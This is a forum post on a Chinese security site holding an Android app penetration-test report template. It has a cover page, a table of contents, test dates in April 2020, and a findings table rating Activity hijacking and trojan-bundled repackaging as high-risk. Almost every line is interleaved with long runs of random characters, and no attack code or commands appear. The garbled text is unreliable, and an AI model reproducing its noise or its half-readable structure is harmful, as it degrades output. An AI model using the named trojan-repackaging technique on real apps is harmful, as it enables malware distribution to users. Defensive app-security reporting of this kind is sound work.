找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4824|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
5 z0 A/ x' ]1 D3 J# x" U# g; f 3 U( s3 K# C4 @# b z3 S( Q$ ?

Y2 K1 e. k. c( [; H 8 l# a- n. [& l# J
! Q7 N0 r7 i% T% ~/ M/ Y' D$ r5 J" |- l' C: k9 q4 p

7 q8 O# [, ]9 o$ A" R+ U+ F8 [, M9 n2 G4 }3 m' r
4 f. U" t* p6 x! z9 A6 Z ( w" n; o: H1 j8 ^% ?, V5 U: f

; D4 s" b. x$ T0 R+ Y5 L& O. F3 _4 R( S% R 文档编号:                4 }; L0 C( A g. B h- `" j- u4 [8 ]+ q. a9 U4 j

: x8 m9 b7 R- F! z4 L) Y3 q" ~4 o 7 D4 S& o& H5 E0 B5 u7 o

6 z% G1 K2 J) \, A" Z % J* d( K6 J# }: D( b; O* w0 S   , f( Q; u. ~8 l2 G K) v $ p/ m9 E% f$ k4 _

0 V3 x. a2 |- l, C0 s2 Z7 P1 `$ S/ l3 O' F

) [1 M O% C/ P 7 @; E- v N; B0 l, d' `+ F   # x( ]4 G3 I1 |* o) ?- e# W 7 w. h. z+ P5 w5 A8 O% t3 q: ^

' ^7 d+ N& ]: h4 v1 L( ^$ _3 q + B' d: Q+ U; P7 ?/ s0 D! K2 K

( I% u M: s2 V7 u4 P2 R0 B2 h 3 H# K6 l- H* y/ b   9 s9 `* R$ B* o$ Q* [$ R! L/ ]" N! K" I) `- u

: K& g: k) U' p' Y" h9 U2 P! L 3 s9 {1 W5 B/ D# A+ ?7 n7 ^+ y6 m

5 z' g! d0 c# w R% M & k6 J. o! {5 Y3 p% _) h; f- B   H# x4 |# D/ T6 g. k( v! R+ g. ^, ] 2 h/ E/ J2 \. {. f

$ Y" F$ F g5 B- _$ V9 r # `0 M Y9 V! G. k8 U, C

6 G, v/ E: {) a' X: I$ C# ^ ; C! ~* W/ x% N: I   0 ?' U/ w2 B5 U5 I' h" H 9 I4 [2 B$ U6 `! k. V

7 g# ~& Q- g" M9 q. i! e& ?# |$ G3 S: N" g% V/ X

" J, q# q p/ f, R/ d2 P 5 E( J" u2 m/ E; i) C 某某某APP渗透测试 % X1 C: K: l/ y " d9 d5 E- a2 q3 x% K9 V- _

: |5 Q7 z, p8 }8 N ' J: O5 r( F2 g

' X& b1 b7 i7 ?7 a- Z1 a2 h" A, P/ x2 @: L7 Q+ s/ ^6 Y   ) q6 ]( l. b' l% j. I% J7 C) t/ j/ X8 h. k* s5 u$ x. |$ W9 w/ ]) N6 u

0 h4 d/ I9 A) k' v/ \% k 2 `- C& @+ B5 E% x9 g. D2 i

& o2 A6 E% t6 [& s/ o- r& S # u, J. ?* A7 ~9 ^   7 x' a1 {% |! E& t5 } 9 c8 S& }, ~3 Q b

. w. X4 d- o- _# D. {, U/ \1 d. }/ }5 c, E8 ]$ E

3 ^$ T' j; ^2 Q" U/ t, I6 d- x( E 8 P, l4 v6 H1 t. \# _7 F# q$ _& _" a   # C* m% z# |6 ?, e " E m# ? m* r! d7 U8 }

7 v" d: v2 e D7 w4 a& G0 b7 r- L/ N2 a7 L

" m6 m5 j1 n. A, E0 c& ^& j! G . w$ S, l5 g2 R# R/ g* x   % y; K" M: x$ x% C! G ' D( }, Y- I+ q' p# Q* r$ G

- v! I) r c$ S: _ 7 ]: Z0 @& L2 a' ?" v* {

& p3 `9 r: e9 K7 R/ a5 e* y % g! R, w. \- d. ]8 W/ j! w* m/ |- j 技 术 报 告 ; n$ H! [9 t; d3 C, z' P6 K. P3 n. K: }* b3 T

2 Z! c$ R7 ~2 a) M/ T# w. u1 N) p$ _( T/ S& ]* I7 m

1 I2 @' E$ h! v+ e; z! w8 ]9 c) z1 e1 q) r* }$ m' Q   : O$ ~$ `3 L% `2 I% t9 q 2 x8 F _& {6 h6 l

( h4 J' o$ X- z0 h* n( `; a4 ^- o i- |" _3 M. r; d

9 S4 o9 T! X$ A$ y- ^$ p3 L6 J1 R + K% J- n6 s& L) l1 q# @5 Z! @   L& k) t4 i- x& ?. N 1 V- X2 L& ]- l

6 v. f& [% e& Y: G! |; d. k4 \ : H' r C( J$ K8 d8 ?: t2 z5 [$ P

' G- H9 \8 V+ q" ?5 ? 3 W u9 E U8 B# V! C   8 R; h$ k: s3 M! |) o; N % J: M9 K0 E h+ }* x

/ g* f4 H9 O, |9 y# C2 A8 ] 6 k/ Q( m4 t- i: [8 W

( Y" K9 ~/ x- r ` , g; f: Y" e+ _, d" C4 _   ! l& P8 y7 \$ I + R }+ s3 b8 Z' o# N/ ]

2 P: v: \% p" e0 e& r1 s5 o & R0 w$ S3 f- C# c* _, X

+ k p& n4 l d f$ i" p & r$ f" f& K2 [4 n8 j* c8 V   # W' R0 \2 y T* @" `3 M % p$ A I8 c& B: U* u/ s

Q' _0 @1 {6 W; w+ n ) P2 V2 } k4 F+ s

+ ?7 W, {* m( e- e1 r5 b9 N 7 b# ~% J- c+ t   3 E# B' Q& Z: F# n 6 K- ~/ j+ U3 N) D# g( X( l

+ Y5 p! ^' S" a9 L6 L' n 7 i9 r5 d1 p6 s; R9 \: F

! {7 F0 f+ I, }) X: B % b8 v s& _! r% p) Y% y   ' W+ p" p: \4 ?7 i $ `$ e/ a4 E) |; F) b( ^3 h$ L7 v

; G; [* m# Q% j 5 d, v6 [7 k* y- s

8 l; L- N7 Q5 Q9 ]' D& i' M * e8 _. B, D. a2 t+ [# l+ {, A   8 V: O, d" n6 h/ n4 [* H% t / n! ]# m7 a0 P1 F

9 R' h- j" \ q 9 |$ `' k' U& S- Z4 o, L! f2 \

$ h( F0 l+ S. Z: Z1 h : h& }5 e: L3 {9 m3 u' h/ J   & C) V# r* K2 l) S ~9 U ! G6 O7 {. C' X, v& L- W: d

+ N: i! V! S" X5 ?8 X / w) i/ W/ W- {' z

0 o* X D+ T" k( U" d 5 Y% H# n6 X) U% j$ Q2 _ N3 c   " Z) S9 x5 P) k 2 ~. k2 X* ]# `2 ~' f6 d: j

0 q* w2 f* h; {/ D' H2 X' M$ x; @: B4 g1 M \4 D

1 ^- R* P# K0 n& E" C; I* Q6 G$ a6 Y4 S, v$ z5 }7 \6 n$ n8 e. x: {& t   8 }; R& _( L! X( Y* B8 B' D+ I- k4 r& ^+ A6 h0 n

: e* ?0 s; ?0 j B2 r 4 g' k( I: D; y, C8 ?! g7 d

! L+ i' ^% U. }' p. E) @ , W$ W( u) P" R4 T* n   0 D+ e( ?8 O" M0 \, Q$ a! P 6 j! r( o8 `$ ~0 u8 G! z7 z

) H$ z5 \: U0 g# K( _ T8 g! Q3 g# C

% F9 `" B0 m& H4 l1 [; `# k' z ) z0 K3 B- E Z* O' O   # C6 B$ G+ f# B2 |& [1 v4 {4 O$ s 5 }9 }' ~8 e+ g7 Z4 ^; N

* p% m3 L7 J; U' @9 v, B6 e . d" H6 I3 L4 b- l5 X e

3 d' T1 ?: W* Y$ }1 [: U% C4 j' B# a- K   6 B' k! _5 u3 [ : U: Y' l2 }+ S C' I2 f/ p8 s

7 ?1 z4 Q) ]5 v$ r7 L; h1 f, G5 Y ' N* u& T: R1 x, r: O% }& e

R/ Q7 U+ X% o$ J: P 8 Y# H# N1 v' z4 P+ k& \$ I4 p   $ }0 e! l+ S$ U4 W% F. U. O, Y* P0 g1 |. Y

; q Q; ^7 w) x: Z$ o& v 3 f9 ?% R4 i% ~5 Y, Q! [

: j, b* \4 ]# x' I# Z. w , f3 J V2 Z6 H; k# ?3 W6 U m   . j w: y. m7 q% T6 D1 j% L 8 Y4 {; _, ~: g" s2 ^) Z: b

& q" Y& l7 D1 i 3 K# k# [2 O0 C

" u0 ~" E ?& k* Y$ | + ~6 t( X% B% Y   W* s' s$ }1 n. E & ^! z; S' ~# a

, ~. v5 L$ G; n. l+ W7 \2 E5 n# L/ R

' ?1 F) G2 ]7 C% T Z 0 S; Z+ a, y' M3 O Z2 C) p o   ) B' S! A! F& P7 [% D7 k* @' e# h " Z5 q3 P. y3 Y/ ^' u) e

( B# c {8 i* \ V v- ]! g. T+ Z |7 h: N# F3 ?% [

4 k% Y6 Q. t& `! y/ T% U4 k 0 J, b, D2 t% U6 ]+ _ 二〇二〇年 . N2 t$ }3 g& r5 f3 j 7 ~$ L" s# q& t, s" ]1 G& b5 X

. A0 H8 G) z f. Y" G: i) m " J; d1 T4 c1 p3 x
# o3 k" F- e, D7 N " T$ b" {- s8 S" D: E
& D7 b$ [: K3 O6 i* k - Z4 |8 c Z7 j7 B# E0 c7 S3 e
1 t% [ N0 u+ `/ i! v u5 I- D* k5 g s( R% p' O% |" @4 Q
+ i. G2 L" n1 K& A5 H ! Y, a+ m4 g6 l0 M
; w3 x( m! m Q- m 4 M! J5 b; f% z, a
6 w0 Z4 j5 X3 N, h# F0 _ ' q( L& ? h5 I$ c) w& O
- |0 B6 f6 ] \3 z, y4 w + r2 g8 E/ R6 o' O T( T
7 A7 m( H. k5 z% `! z8 D! G' Y w- V

9 ~9 t4 Y/ X6 d 7 C! W: ]- i( N* z: L. C' U 目 录 0 F+ x' J% _7 d3 G* R0 n" }8 ]- l( b# @

6 U7 S g- G0 ]/ [6 f 8 l/ F$ }% P+ v ) ~% L* K& D7 S9 ~2 F1 B; y9 @0 S- K1 L9 P. m8 b% f1 ]# E

: O6 f5 C: ^2 v4 V/ K1 Q' t # _* ~4 n, v9 x3 y r7 V' z8 ?   9 b1 c6 ^: o. v 9 s& U; B3 ]; F1 Y. i

" p# T) m; n; H% B+ [5 V" S1 w8 M : }) \. m* ^) d) L

7 i) e2 D% @( { 6 r4 p8 ^! H2 i$ y, x7 q6 c/ O 1 概述... 3 $ J2 H/ N8 L7 X) A$ ]* u, q% R0 j7 R2 v- t i

6 n+ Q, J% m& ]1 g3 E. M1 z4 l5 k/ C8 E) R1 U' S

# l; s7 o1 w( ^6 z$ {" F ! L- n8 ~+ ?6 b: n 1.2测试时间... 3 / ]* @# z) w* v& P8 r ; M6 ~5 z9 y( }; U

' @5 x( h/ Q. p) F; F5 Y% |; ?# j1 b' @

5 }9 t" |" P7 Y 4 N( o; b* F! ?7 o 1.3测试对象... 3 , _: A/ x) W! c- n; K) F, q4 [% e + G3 h" u1 E% ?, E1 m7 ~

% P+ U; m' i Y) ^; M4 [5 R8 T; e$ u

* o& Q; h" ]7 z) ?3 C3 s4 y& T 3 g1 M2 [# z, E. p8 d6 k 1.4测试结果... 3 ; l1 ^+ }4 q8 z / j8 G. {3 Q9 D+ n( H6 |1 e, E

: c- ^. u ]/ u/ X8 j4 m4 a ' {9 a7 x5 A- [0 T

1 m. ~3 y8 Y; k4 p 2 p: e( y& d6 d. \) t# _2 m9 Q 2 检测结果... 4 ) b8 W/ j: |. R1 u" Z/ C 2 @3 v5 {' q# d( a2 a, n. t

" j: z. Y+ x# v: Y9 o 2 V+ O a2 d; E7 \& P

c# n8 D/ O4 D4 s# c7 S( [) t* [; \0 X8 {6 Z9 C 2.1 某某某... 4 , P8 m5 K# _1 I* h' f0 r1 W$ _& ^. K, _4 P9 G2 h) h" H: X* s

/ @& g- H; t+ r& v0 O. U6 j 7 S- o2 V! ?/ A8 v) q0 ^3 q4 P

2 }7 { [0 u5 @+ s ( D" B# Y( A9 M2 [ 2.1.1检测目标... 4 - F) u" ?; K1 p. B! ~# d 5 x/ K8 o3 O8 t$ M3 g$ Q6 o9 p

/ P! [4 {3 M3 F: p; K* V5 l 6 S$ }5 A# i; y* }3 W( F

3 ^' x* P4 I" x 8 _2 E7 N, L& W) o' k( o; w& N" h 2.1.2检测结果... 4 - k$ ~7 f& N1 T# h9 |2 { 6 |7 W o7 h" x' E

8 h) e* J; R. ]7 h; L; L- {* v$ s ) Q# A0 z& u; p. R% R

- l8 d+ A5 X# _" ]! { _4 {0 H2 E- j/ Q' G- } 2.1.2.1. 4 4 d% X X% E: _3 H4 Y9 ~: V. B8 V4 [6 i: h

}, Q' l! R& v2 f, j5 \* y + K& }' _9 B! c7 D

; c1 d- _! O; e* u% ]: ]/ z 4 u( q1 f& N! F! v& d/ \ 2.1.2.2. 6 ; q5 {9 s1 L4 \# P. V s % r- Y* Q+ I. W3 j: U) I$ v8 t4 w' Z

3 m' j/ B$ o2 O& b! y- X& p5 F- f/ y & o' ]+ C G7 F

, v+ n* x( e3 g# v$ i1 v0 l# f' @3 [. K, o1 H ) |- c% O1 p8 l) S4 x0 c" Q! c3 J7 h' r$ q6 F0 B

7 _3 t; _" n; c0 R, i4 j/ E$ `2 j) T( N5 k- l% q
5 J _! \* `; b2 c* m- E3 n$ {6 z$ L ! a& H8 N2 j8 E. `- y1 g+ |6 e! ~9 Q
0 u- w$ t9 C8 N% j. t& @; f2 q; H
( H3 ^! c# J1 q / B: H+ d' [4 h; _% V" P9 } b, Y4 L
7 P9 g3 P' x7 L. l/ M- Z+ _ % L0 T' T& v. c/ w) {

: K. f# W4 A0 B0 { I8 J" M# p0 p9 w: `4 ? i i 1 概述 ' p4 Z9 a+ T6 ]4 n @8 C9 C2 y 4 h4 \: M- {) H3 n/ u4 |, Z

1 Z! X# g& W. f/ _: ]$ M5 H" @) E b ( s$ C4 W" ^& U5 X' n9 y+ m

6 `& f) M$ O+ [9 S/ g # J, }* @! R! @" J% ]6 L- S 1.2测试时间 & Y: d9 e5 k* H+ d0 \5 I9 Q# R ; g9 h+ |( J) }. [6 z- q* K

) L1 E0 P9 T% q$ s5 g" s& ^; A( B6 e$ s+ \ 3 h; V3 n& n6 x; P8 m2 k+ Y- m8 q- ^7 ?, @' w; h! Y2 R7 U; m; @8 J C; p% |$ W( B1 e6 M( W O) x6 A1 Z9 X( Q. J, |% a" F& `4 ?+ C- t8 M- `: }: m: ^0 O( y8 I2 B5 n! v' i. B, r( u0 S/ R- L' X1 E, Y7 e' ] U _; h9 {; b5 R4 q: D# P1 l# t! b- T* X' Y& s% K2 ]- Q8 o+ N& b6 P3 _ k% d& C4 p& e2 p7 G$ a V# F0 |, q7 S& [( H& {% n7 w, E% n7 C6 v! q, P6 y3 B( o2 H2 Z3 w6 ]" C! w! M: s g8 L m' ?% e2 H' Q/ _( B) I# f( L! _& `- K! \+ s9 A* R* r- F- F6 B6 K' d/ i% _; p5 M& s7 }2 G6 ]- ?- j% m" w2 x9 G) j+ Y& a9 y7 P; D; s0 m) Q5 u: R/ [6 s- o6 Y( g' K! O( Y7 G7 U# g9 W; j" o+ Y% M! [9 {. u/ Z" `8 X+ T. ]- e9 Z& O; L# e5 @) c/ {. F$ s
% N5 V3 {, e W; @ 6 R- y5 B6 g: ?! F9 R

# T$ z) }* w2 a. O 9 S! ~! Z" H6 ?/ j! z 渗透测试时间 , q; I1 d# f* B0 J9 X: S6 ^5 @ |+ J; p) a# Q# Z

; B$ d2 a6 Q% W* F 9 ^& j* N( I( g
3 {+ D ]' B1 T& u& ^ - R: f! R2 b/ r

- T9 m n' [1 A8 m # M2 r" l D9 w 起始时间 3 ~1 `- m3 E/ h. A" y( y$ m7 i8 t- v9 c

) ?3 T0 p$ n) B q4 z4 p) ^. X: @0 R( }3 X0 t
: W: H- h- K1 g2 }6 ]: m) ~% y) E 8 b$ ]7 q: F* ^! ^

/ O% n" Z/ w: N: q2 g F' c- i1 o * c0 t0 x( h+ {1 y3 O 2020年4月6日 ) ` V P3 }# K, s I + ^7 z3 _( p3 z& A, F, \9 i# { q

8 Z6 c' u2 Y$ j& i & v; t% [3 X$ O1 K
$ n( M3 }3 h) c1 G! n Q8 ` * ^1 F9 J s5 u

$ Y; h3 _/ S1 b2 s; b. K9 x7 `' v+ v0 T" s7 \$ D/ `# N 结束时间 3 x+ z5 P! M7 H% R8 O * `( Y* j P/ B9 c9 J5 c

' s9 y7 d; j* H) X: K- I; g1 [5 c/ u" M+ o
5 U% C4 s3 ~- n$ y 6 X8 B8 Z6 `5 S: E. s+ z

) U' @2 `7 h2 H2 b# Z0 m ' o5 H& A( }; |) G 2020年4月9日 : T+ |) {2 U* ]* z 2 m7 b( p/ {& z- v* @6 n4 F

- W, _, F! D9 ? P+ H* ]: Z* T' I* N6 d/ B
2 B& l+ A# Y; S5 V, |$ g% z2 m 9 A% y( x3 F5 D/ a9 Z8 }

$ c$ L+ m; p% @" \ D: B; n ) C% ~- d7 J; Q$ A. d0 n1 D) o 1.3测试对象 9 O9 Q7 l" h' g2 l7 D$ {% x , h5 G& `. S, s/ i: c' l |

& ~$ r1 V% i" X1 ? " f5 G1 W& V; g; W+ ~8 B- Q! b0 u

" @( c. W/ \ F# k8 J 4 F3 K. X: ?& x, p/ I) G 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 2 d; R1 L1 h) ~) R' n8 r e7 O0 X, F, `- ]" ~4 `) e+ ?( W

+ ? d' \0 x9 W# a T$ K4 Z' f+ b# l6 M' p

( d5 ?9 h% a) M: ? 6 x$ [3 y, E# S 表1-1 检测对象 + p! O* `& w( G/ u C9 M 4 k, f# F. D# Q) G3 r x* W, N

5 Q5 {/ s% h) p$ g0 C, i" Y2 p8 E # F4 p; g' w+ Z& z2 N' U! z8 L) K2 p( \+ k) s. q- r; c ?5 M/ `* H7 q& W( N& Q8 p% ~ c2 G+ e- t2 N1 I' D' k; p, X5 V+ p9 j8 J4 A1 Z2 b: m S/ ^! V, }& d) |# J6 ], p0 Z2 N5 d; D( j, j+ q5 T. n3 K' n0 e. l' U$ b n8 J8 V3 ^2 U1 { J- C' \* |' V8 e& r1 D* ^( U7 n* T+ s. Y! T$ J2 F8 h* V1 I& R( L1 @" F1 |8 i8 i8 Z6 u9 h+ B* G# v/ }9 d1 }# ?% R4 Y1 d* V9 M% q8 @6 i U$ V- a$ L. o* X3 j' G; Z# N5 a! n7 s( ?# H$ A9 \4 O: Y) U7 N7 K+ ^' f* K; P8 Q# P* Q* s# l- j) Q( B( ?9 V- R1 h8 }1 @5 J7 A8 m4 E, V' a4 Q! D- F* l- n- `0 |5 ^# v& G8 _9 k& j+ e0 K7 b: c% t4 A3 X1 l8 w% s; }, n0 t5 b4 c" z* B( @. G) z4 _3 @6 E3 E( v: F& h% l% k0 L& @, Z, _, U/ N [& |* L# J {$ S3 @8 q9 i& p! b: r, C$ Y, Q, u+ p4 u1 \3 E, T( T8 C
A8 v" l. y, f: I) ^ 3 s, c- b, {* |9 f

. f! O0 e. h3 U ~" ~ ' _5 X, E- b; l 序号 4 X( s) `7 Y6 ~. z% f: | 2 O! k& n @0 c; m6 S$ v

9 H. Z5 w& m/ C% |& k0 _! X" G1 l7 A7 R4 v
1 t [4 w: Z; y' f, s8 o# a3 a- z1 B* k# Z* B/ G3 r+ p% F

- o1 @( T8 W# H) ?$ \$ U! M6 ~2 y6 S: r 测试对象 ' B" A$ S6 {. P1 N. Q* x& C* ?; i! ]4 z' b: o; a

* x. X4 U/ W9 ?8 V/ T) C: ]6 } & ~- h% n& ?5 B4 m9 u
5 `" o% d, r. c% c& h$ M1 n+ _) {" ]- G4 _( q, r( T

! c. `' Y) L& w5 Y' p* I* p; y ' I: i* S5 ^* `! U 测试地址 ( U4 k$ D, @2 b% a ! Y( U- j1 h; \( M1 O/ Y

2 V( i' |9 D0 l4 U0 s . q* N% p5 N% K" ~
, \+ Z7 s q" A1 a1 ] . N& @+ t. t" M& ?% w

B9 l, b7 M% m1 W* |1 S8 ?% N: G2 ] , p. E+ K/ f. `+ ~+ i* R& ? 安全漏洞 - [$ h/ x' b2 D7 S4 u2 H# l: g5 n9 U: }: \8 v

/ |4 G4 j* L. K % N' e' a/ ]- j0 `- o% \
" w* v& v' j. c/ L 5 y% H# P. F' `7 X* D

4 D5 A. F& g- U0 T" j3 s$ l+ d4 D2 [* G i* ?1 J 1 ; y9 l+ O/ ]0 X1 C. [ " Y0 z, U. @! d6 g

0 I4 Z! N( L9 s1 s o x8 `. ^( j! i/ f/ t5 d2 S
/ t5 |) J- Q. |$ w; O' y, ]5 P $ P, p5 j# k9 Z

9 u0 y$ T4 d3 H7 _ 8 k } o- ~% S# N/ O8 b! _ 某某某安卓APP 6 J* O: x; W& R* u 8 X* F$ g7 b+ G/ W6 ]3 x9 _

6 x3 v% t- \4 C7 I3 Q. L7 c* I 7 B) |- o4 d) q/ F- ] b h9 O
+ N0 ^) | o% a, }6 l# Y( }! I6 B j- ~. _+ m4 I

- G. N' E6 j+ o! p" P. r6 I % K* k% I* O/ F: M) d! k, T   ' d( w' b a. `" Q! Z. T 9 w! G' d- A7 d' C8 k+ A

( D/ s# e5 z7 g- r+ `# ^ 9 o8 u; W( H9 O% H: e4 o2 [
! _) }$ m! K6 }( Q2 R* Z; Q2 x6 d : m! \$ U" k4 e+ {

- _; ^5 }7 W- z: J2 F! J$ c& | ?5 y/ O7 l+ U 2 6 B! p( V; O& u- A 1 }1 c$ _7 Q. G+ ?

: ]( n9 L5 D& }% l- k' }' C ! I: b3 H% n$ X. t, z1 g
F9 E9 O7 v9 i 6 _; r: ]) q8 L

) A0 l& L9 Q! X, i 6 S d" J2 W( I0 A; A) m 1.4测试结果 ( k7 C& r* w, _- @" H4 A4 N5 A * h% ?2 T: ~ k6 \5 q2 ~

; x. w& s2 z! Y3 D ) H& @! R9 a- ?" [1 w" L! S; V

+ d8 {$ E9 a S" L3 l* x 2 e0 [9 M; c$ O- w 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 8 A6 c+ e: @6 \4 K* u B2 F5 o6 @$ X. y, a* U1 J

' H8 d1 i2 t8 p- G2 Q+ {! Z 3 H9 E$ `$ W: }8 p+ h9 D7 B

" u% a% k' c; b8 b% A/ ~1 t# J/ V K! f+ i: R$ E8 A, d% F2 _! Q- `   . s; V2 k2 N3 Y- ~$ @! o. t6 i+ M9 ]# L

7 s A6 g% \* v8 E5 P2 }7 C5 r+ X5 W- \; |
1 ]# m! R! C b* @9 ?% r / T8 ^* L, ^2 W1 P; E$ F& }8 n# D9 b % [/ }" C. i6 t3 W0 F! K4 X5 a2 L/ \$ m, D* j5 v* ^' z) z3 I% v2 Z2 e) d% U' O( i7 P! w9 j) A9 h) e) L4 A( P1 Z' U3 k' {: x6 ?6 j* ] w3 G/ W& m5 {, f& z1 g+ K4 x/ G" ~) b* G) `5 i# b/ M2 R$ U1 l; y' e8 n) m, X( J* F- q0 W4 O/ e$ [1 E4 V+ u; d. D* A$ G2 b( m& |0 l& c' p6 K0 O' x* k- }4 e8 H! ?7 ]+ P6 a! W7 ~8 b0 d n8 p1 i# U$ n( R: r8 v1 W o4 l m$ o' x" i9 \9 u3 a* K! b2 s$ K2 `7 }) [" X$ J1 ?2 [, [8 j+ C# @# n3 Y2 y# w8 V, J; V/ y0 X% k% m' P) P3 H* H D/ r5 Q/ {5 U/ }7 V" f8 h; A4 `; N, K2 i# J6 U) Y. k% k- V- Z5 k8 ~; |# a5 h+ w: U: w. Z+ G+ k5 E" ?; p6 r% L) x, t$ S, x- ^6 D+ x5 R% U9 g, a! i2 @% p+ E( _# z+ B( d* q o. t3 a$ d7 b0 |, f \: x2 ~+ S7 K/ R2 r8 b7 }2 n5 r8 X. ]9 W7 `4 ^' a- g$ a& |$ {/ ^" S) s/ B' T# S) z$ t0 s' L) u9 E1 ?9 L" G2 D! V" S5 W4 v7 y" e1 d0 ?0 d! f* m" n/ s- Y1 Y; E' e! A0 @4 R: B$ O. e0 F: |- A$ \7 S% t: \$ ?* A$ f% m- W& T! f% u5 l; V. F- o" {) O' P" s2 I# \) V1 @& H; V( L$ w4 U7 N9 R( f+ f- c( {: \$ |+ l% ^- O& H4 D6 n7 x/ Q: Q( D! h$ |& K% B* f- S3 ^$ M) y2 d$ }4 o, H) T! V( @$ i2 u# q/ a0 `, I: K" z3 @- m; Z) }: L$ Q) L3 X& i" |, {( _& ^6 a$ Y1 a! a! S+ w8 ^ P; }+ J+ d! _2 `- p
) |% O& X- M( G . X$ [+ ]) m W& r

( L! X! O5 o' P2 O " Z+ i+ }5 A3 K: X) x 序号 9 o3 _% a$ ]. ^1 @0 R. D1 P4 o6 x0 ?& \* O. {

: |. V' f0 o: R8 K 7 i9 `5 Q+ c& j8 K6 ^
F# N3 L* }5 Y! T" a& {" y5 { ! h ]0 i) Q3 g" K

% B; k& Z( d- _( n/ K ) D7 Z. X+ e$ |( B9 i5 k6 a 系统名称 - Q; Y- I' [/ d# E/ ]$ E K1 W3 F- Q

7 ^# m* Q0 W% {. Y8 O( A c% c
1 c8 D9 X2 g( I+ B7 @9 V" m" x3 Z4 M; P) u5 t1 r1 U5 o" i

' W$ Y( G0 d8 c& `9 m x. M, M, |0 a E+ Y+ y2 M7 r6 H( g; J 漏洞名称 " p; R' H/ v; m$ b# B / y7 T- ^8 `! U9 A4 I! U

% Q+ L) h; P- F Q 1 @% \. w, e& x
4 F! c2 B9 h1 {0 H2 j, t 4 u+ k+ v$ U) O5 Z

' v: F5 @& b9 X% z+ S4 O7 t3 Y( y; w& B) [. v2 D 漏洞危害 & ? D+ ~3 d. N: ` 1 g/ v' z, ~- w" Q

) m+ X d; o9 N. s H " ]% `+ N* G$ p
, y# ?5 \% z% N) `, K : v+ n, C+ n* {. v

8 T9 C$ _/ v& Y+ G/ E: |1 S, f% I8 M6 H, q ` x: w) V6 L; \ 修复结果 & Z: T$ @/ K/ y% f1 T( ]9 \! P# ]2 r: |' Q K

/ v: |1 n: v7 o' _2 r: X; }' x7 `* r7 z# c2 t: Y$ D
- x& Q) \" ]8 G3 w' [; {7 n 7 s( u6 X0 H3 n: i$ F& P0 C; O. m

0 o" h4 g) A# ^6 H( O$ O( t ; Y. F* G2 C% t0 H! D- w" f 1 G9 k5 c$ z) b& X! a2 P# C * l1 U: r! _! L5 C

5 X1 q: V' s- u+ t" [( o, X2 E 4 Y) u1 m K: V+ Y/ T
) w; p1 r5 D! x0 o2 b; q( B& Q4 C: V6 g0 a: y" _

! J) h- ]% V: p% v7 R 7 U( a6 k ^* H9 l" Z 某某某某某某APP , X, E/ @) J3 S7 B ' v" k5 `4 |5 M

% q& R4 r. J. x2 u1 a& I" ? 6 p# [5 M p8 s! y% b7 R: P! p
* i$ b/ O1 e# b$ j" l. ~2 U7 L5 |6 U- r0 D

; Q; y8 L7 J- o4 a0 R0 F& l % i+ Q( T, \7 F( u Activity 劫持 2 m: F. W- m$ B8 c- V# Q ) {* O* c: @. c% G# m# M1 C- N6 M

9 G6 U" u- N9 R- U1 K, o% j 2 I4 ?$ S1 A4 d$ g2 d7 I

9 U1 I3 h0 r3 ~& w; ~/ _$ D& ^) k z" i) e8 n   8 T" r2 I5 V- c$ f" V. ?" } , \) O3 A1 ^; |5 T

y- Y+ N8 R% R3 G5 S& t$ B& }: n m0 @2 Y3 u9 R1 p
. h X; w; @ K) B: D L3 L + Z. i* s" t; @" q

7 O/ D2 p+ J' ?7 h& ~6 E& ~! m% |% u# Y; r9 @) B9 v# { 高 / y' |0 I0 C0 m# \; u1 \1 C* ~4 O! i3 A, f0 C

' u( ] l! B8 e( @: ]+ Z" n / a& f3 ]& t7 Z. L& R2 u. ~
8 {5 {5 b* |' M6 {4 y: q! |' w 9 }9 Q4 }) ~2 \5 n3 \) k

, w) ]0 ]5 }- X1 f9 w: Y " E6 A6 }7 X: \3 q! A; i   2 v; ?3 ]+ N+ { ! h }3 p4 w, R o# C

! P0 j4 S0 z; m T" C2 O3 q; b2 ^4 U7 z/ Q' t8 f
8 z! E/ x- m2 B6 f# u/ J+ u- c' C' V9 o& g; X0 z0 ~0 y/ Z! f

" s" I- p1 X8 ?* l* R) l ! h, _0 t6 {( {8 }% Q# u' U( D) @4 N8 H 2 / i. N- M: j7 |& U3 ?. d7 Q" ~! B; R5 Y- ?% k6 n7 Q* P5 T

0 x. z' i" o2 X) T! F+ K / }) F! O, d& }5 n
; s1 W" W- I3 ]8 r! v % @1 A: j3 ^+ ? d

! d% j& {0 E: \; q% ` 8 y1 O4 Q8 a/ J. A/ y3 S1 F- O4 M 某某某某某某APP ( i4 ~5 p/ \! r6 W! _: i; L; y1 B$ M

4 I- s% L l$ y- \ ( c+ x$ W4 \ Z7 n) ^# N( I9 S
! j! ?3 ^" q5 G; ?: V6 | 3 A3 N) w( ^3 v: n% ?

% U% |6 |: b) j( z! F2 Q0 w 9 ]" L! f' k/ Y* g8 {0 J 反编译二次打包捆绑木马、篡改APP代码 - V1 y, t' `' D8 G& E $ o' I, ^9 p; V* T2 h' t+ @

$ K @ |6 F1 |, _7 c1 [( D0 m' b- @ n8 n# U U3 N0 a+ G9 e* g j% V
$ u# ~9 D9 W3 N/ \- l _1 j ; e) v& {# f# j. c' B" A

4 ~; Y1 r+ G i5 e) x `8 V0 u( ~) Z8 Q 高 0 r1 K( K$ X6 T1 F p) G , J4 n% ?! b! q) w6 d+ ~2 {& k

3 Z1 E. b) c" G% U0 ] 7 ^5 G1 \- q5 x- P8 Y9 v1 ^6 w+ i
( e0 R1 ?/ o5 j4 Y7 a8 P% P% t. {+ K; I% w

' U# }: U( m M0 A : [% m8 I; w: b   0 H! p3 D1 o. ?! ~6 a! u5 x0 H: I2 n4 s) F

( S x9 k' B) ?4 s" N" j( ~ m" W* r: z3 f5 j; O- M) d
) I C% \5 m1 c& q: k: c " ]1 {( h' f! I9 a' [& `& r! E
7 }, g* ^/ V3 @% T' O 0 i: l7 f4 \6 J0 G

# s. R6 Q. L# D( N - F+ R/ Z/ n& b! k. m' S! l   " Z! H& s' b( L + x! |4 K2 m$ i* X" H2 T

! G1 ^9 d' d* E# h/ D0 [7 E3 i) k8 K3 \$ \, f" X' X

